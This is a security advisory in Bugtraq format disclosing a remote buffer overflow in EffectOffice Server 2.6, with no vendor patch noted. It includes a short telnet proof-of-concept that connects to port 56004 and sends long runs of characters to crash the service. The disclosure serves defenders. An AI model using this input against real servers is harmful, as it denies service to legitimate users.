EffectOffice Server Remote Service Buffer Overflow Vulnerability

Bugtraq ID:	9077
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 20 2003 12:00AM
Updated:	Nov 20 2003 12:00AM
Credit:	Discovery credited to D_BuG.
Vulnerable:	EffectOffice EffectOffice Server 2.6
Not Vulnerable:

EffectOffice Server Remote Service Buffer Overflow Vulnerability

A problem has been reported the service used by EffectOffice Server. Because of this, it may be possible for a remote user to deny service to legitimate users of the software.

EffectOffice Server Remote Service Buffer Overflow Vulnerability

The following proof-of-concept has been made available:
hacker# telnet
telnet> open
(to) attackhost 56004
Trying attackhost......
Connected to attackhost.
Escape character is '^]'.
aaaaaaaaaa
aaaaaaaaaa
aaaaaaaaaa
aaaaaaaaaa
^]
telnet>close
telnet>quit
hacker#

Crash service

EffectOffice Server Remote Service Buffer Overflow Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

EffectOffice Server Remote Service Buffer Overflow Vulnerability

References:

• Product Homepage (EffectOffice)